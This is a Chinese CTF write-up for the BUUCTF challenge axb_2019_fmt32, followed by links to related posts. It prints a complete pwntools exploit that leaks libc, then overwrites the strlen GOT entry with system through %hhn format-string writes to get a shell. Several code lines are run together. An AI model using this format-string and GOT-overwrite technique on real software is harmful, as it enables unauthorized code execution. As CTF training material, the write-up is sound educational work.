BUUCTF【axb_2019_fmt32】
例行检查
是开 了部分relro,可以改写got表,然后栈不可执行不,
IDA分析
很简单的一个程序,会先初始化一些后续要用到的栈空间,然后让我们输入,字节数大小会有限制,然后再对我们的输入做一个长度判断,长度符合的话就会调用printf()函数,存在格式化字符串漏洞,程序里没有system,binsh字符串,我们这里就要先leak出地址,然后返回system即可,观察程序不难发现,我们无法溢出去控制返回地址,然而我们可以去改 某一函数的got表地址为system,从而去get shell,通过分析,strlen()函数是比较理想的,我们可以控制传参为/bin/sh从而去get shell.
exp:
我们发送如下payload,
payload = 'AAAAA'
payload += p32(str_len_got)
payload += p32(str_len_got+1)
payload += p32(str_len_got+2)
payload += '%150c'
payload += '%9$hhn'
payload += '%'
payload += str(hou + 80)
payload += 'c'
payload += '%10$hhn'
payload += '%'
payload += str(qian -hou)
payload += 'c'
payload += '%11$hhn'
这里我先输入了5个A,为了栈对齐,qian hou 是system地址的高低字节,
然后strlen()函数的got表地址就会被改成system地址:
这是在栈上布局的payload,这里0xf7字节不用修改,所以我只改了三个字节
执行完printf()后:
strlen()的got表地址就会只向system地址,我们再次发送’;sh’就可以get shell.
完整exp:
from pwn import *
#from LibcSearcher import *
elf = ELF('./axb_2019_fmt32')
#io = remote('node4.buuoj.cn',25468)
io = process('./axb_2019_fmt32')
libc = elf.libc
context(log_level='debug')str_len_got = 0x804A024io.recvuntil(':')payload = '%5$p'io.sendline(payload)io.recvuntil(':')
#_rtld_global
leak = int(io.recv(10),16)
libc_base = leak-0x1d95c5success('libc_base:'+hex(leak-0x1d95c5))
system = libc_base + libc.sym['system']
success('system:'+hex(leak-0x1d95c5+libc.sym['system']))
qian = (system >> 16) & 0xff
success('qian:'+hex(qian))
hou = (system >> 8) & 0xff
success('hou:'+hex(hou))
#0xb0 0xf7
payload = 'AAAAA'
payload += p32(str_len_got)
payload += p32(str_len_got+1)
payload += p32(str_len_got+2)
payload += '%150c'
payload += '%9$hhn'
payload += '%'
payload += str(hou + 80)
payload += 'c'
payload += '%10$hhn'
payload += '%'
payload += str(qian -hou)
payload += 'c'
payload += '%11$hhn'io.recvuntil(':')gdb.attach(io)
io.sendline(payload)io.recvuntil(':')io.sendline(';sh')io.interactive()
喜提flag!!!
BUUCTF【axb_2019_fmt32】相关推荐
- BUUCTF【ez_pz_hackover_2016】
BUUCTF[ez_pz_hackover_2016] 例行检查 开了relro,其他保护机制都没开,扔到IDA中分析 漏洞分析 chall()函数中,有fgets(),但长度不够覆盖到返回地址,没法 ...
- CTF-web做题记录(狼组/BUUCTF)【一】
CTF-web做题记录(狼组/BUUCTF)[一] WEB 1.ctf.wgpsec 你可能需要一部iphone 题目如下 考察点:user-agent,burp改为iphone的user-agent ...
- BUUCTF【Web】Knife
进入靶场后发现提示菜刀和一句话木马,所以直接上菜刀 因为我没有安装菜刀但是用蚁剑也可以测试连接,URL地址是网址复制,密码是Syc 连接成功后直接登录了后台 在后台根目录下发现了flag文件,点击进行 ...
- BUUCTF-Crypto【1-20T】
1.md5 WU:cmd5解码 [e00cf25ad42683b3df678c61f42c6bda] 2.Url编码 WU:url解码 [%66%6c%61%67%7b%61%6e%64%20%3 ...
- 【算法】位运算符基础之某CTF赛题使用Python与易语言纯算法还原
什么是位运算? 程序中的所有数在计算机内存中都是以二进制的形式储存的.位运算就是直接对整数在内存中的二进制位进行操作.比如,and运算本来是一个逻辑运算符,但整数与整数之间也可以进行and运算.举个例 ...
- 【CentOS】利用Kubeadm部署Kubernetes (K8s)
[CentOS]利用Kubeadm部署Kubernetes (K8s)[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 三.具体实验流程 1 系统准 ...
- 【Spring】框架简介
[Spring]框架简介 Spring是什么 Spring是分层的Java SE/EE应用full-stack轻量级开源框架,以IOC(Inverse Of Control:反转控制)和AOP(Asp ...
- 【C#】类——里式转换
类是由面对对象程序设计中产生的,在面向结构的程序设计例如C语言中是没有类这个概念的!C语言中有传值调用和传址调用的两种方式!在c语言中,主方法调用方法,通过传递参数等完成一些操作,其中比较常用的的数据 ...
- 【C#】Out与ref是干什么的?
关于return: 1.最后没有写 return 语句的话,表示程序正常退出 2.不需要返回值时,存在return的作用 例子 void main() {return; //return退出该程序的作 ...
最新文章
- 美团确定进军自动驾驶,滴滴如何应对?
- instagram api java_如何在没有用户交互的情况下获得instagram access_token(新api)?...
- Linux Kernel TCP/IP Stack — L2 Layer — switchdev L2 Offload
- 微信公众平台开发(58)自定义菜单
- HashSet.contains
- AbstractAutowireCapableBeanFactory 类对容器生成的Bean 添加后置处理器
- jmeter连接mysql数据库驱动_十八、JMeter实战-JDBC连接MySQL数据库
- Eclipse 编辑代码字体的设置
- 【端口扫描工具】mascan核心使用
- ModuleNotFoundError: No module named ‘项目同名.settings’
- S4 HANA CO和FI自动集成:成本中心分配分摊业务实践-KSV5/KSU5
- dbt-tidb 1.2.0 尝鲜
- convolutional LSTM(convLSTM)的pytorch版本代码实现
- unity支持的模型数据格式,unity3d模型制作规范
- NLP预训练(PTMs)
- ubuntu 装在ssd_如何在Ubuntu中调整SSD以提高性能
- 声称AI存在意识,谷歌工程师遭解雇:违反保密协议
- ​史上解释CRC最清楚的文章
- macOS Catalina 10.15.6(19G2021)原版镜像CDR下载
- Android手机文件远程管理